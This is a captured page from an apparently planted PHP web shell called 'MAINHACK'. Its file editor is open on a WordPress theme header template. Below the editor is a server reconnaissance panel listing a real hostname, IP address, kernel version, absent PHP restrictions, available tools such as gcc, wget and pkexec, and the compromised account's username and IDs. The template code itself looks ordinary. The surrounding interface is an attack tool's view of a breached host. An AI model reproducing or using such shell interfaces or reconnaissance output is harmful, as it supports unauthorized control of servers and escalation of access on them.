[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: header-layout.php
<?php /** * Template part for displaying default header layout */ $sticky_scroll = alico_get_opt( 'sticky_scroll', 'scroll-to-bottom' ); $sticky_on = alico_get_opt( 'sticky_on', false ); $navigation_hide_icon = alico_get_page_opt( 'navigation_hide_icon', false ); $h_btn_on = alico_get_opt( 'h_btn_on', 'hide' ); $h_btn_text = alico_get_opt( 'h_btn_text' ); $h_btn_link_type = alico_get_opt( 'h_btn_link_type', 'page' ); $h_btn_link = alico_get_opt( 'h_btn_link' ); $h_btn_link_custom = alico_get_opt( 'h_btn_link_custom' ); $h_btn_target = alico_get_opt( 'h_btn_target', '_self' ); if($h_btn_link_type == 'page') { $h_btn_url = get_permalink($h_btn_link); } else { $h_btn_url = $h_btn_link_custom; } $h_info = alico_get_opt( 'h_info' ); $h_btn_icon = alico_get_opt( 'h_btn_icon' ); $logo_mobile = alico_get_opt( 'logo_mobile', array( 'url' => get_template_directory_uri().'/assets/images/logo-dark.png', 'id' => '' ) ); ?> <header id="ct-masthead"> <div id="ct-header-wrap" class="ct-header-layout1 fixed-height <?php echo esc_attr($sticky_scroll); ?> <?php if($sticky_on == 1) { echo 'is-sticky'; } ?>"> <div id="ct-header" class="ct-header-main"> <div class="container"> <div class="row"> <div class="ct-header-branding"> <div class="ct-header-branding-inner"> <?php get_template_part( 'template-parts/header-branding' ); ?> </div> </div> <div class="ct-header-navigation"> <nav class="ct-main-navigation <?php if($navigation_hide_icon) { echo 'item-menu-hide-icon'; } ?>"> <div class="ct-main-navigation-inner"> <?php if ($logo_mobile['url']) { ?> <div class="ct-logo-mobile"> <a href="<?php esc_url( esc_url( home_url( '/' ) ) ); ?>" title="<?php esc_attr( get_bloginfo( 'name' ) ); ?>" rel="home"><img src="<?php echo esc_url( $logo_mobile['url'] ); ?>" alt="<?php esc_attr( get_bloginfo( 'name' ) ); ?>"/></a> </div> <?php } ?> <?php get_template_part( 'template-parts/header-menu' ); ?> <?php if($h_btn_on == 'show' && !empty($h_btn_text)) : ?> <div class="ct-header-button-mobile"> <a class="btn" href="<?php echo esc_url( $h_btn_url ); ?>" target="<?php echo esc_attr($h_btn_target); ?>"> <?php if(!empty($h_btn_icon)) : ?> <i class="<?php echo esc_attr($h_btn_icon); ?> space-right"></i> <?php endif; ?> <?php echo esc_attr( $h_btn_text ); ?></a> </div> <?php endif; ?> </div> </nav> </div> <?php if($h_btn_on == 'show' && !empty($h_btn_text) || !empty($h_info)) : ?> <div class="ct-header-holder"> <?php if(!empty($h_info)) : ?> <div class="ct-header-phone"> <?php echo ct_print_html($h_info); ?> </div> <?php endif; ?> <?php if($h_btn_on == 'show' && !empty($h_btn_text)) : ?> <div class="ct-header-button"> <a class="btn" href="<?php echo esc_url( $h_btn_url ); ?>" target="<?php echo esc_attr($h_btn_target); ?>"> <?php if(!empty($h_btn_icon)) : ?> <i class="<?php echo esc_attr($h_btn_icon); ?>"></i> <?php endif; ?> <?php echo esc_attr( $h_btn_text ); ?><i class="flaticon-sheet icon-abs"></i></a> </div> <?php endif; ?> </div> <?php endif; ?> </div> </div> <div id="ct-menu-mobile"> <span class="btn-nav-mobile open-menu"> <span></span> </span> </div> </div> </div> </header>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002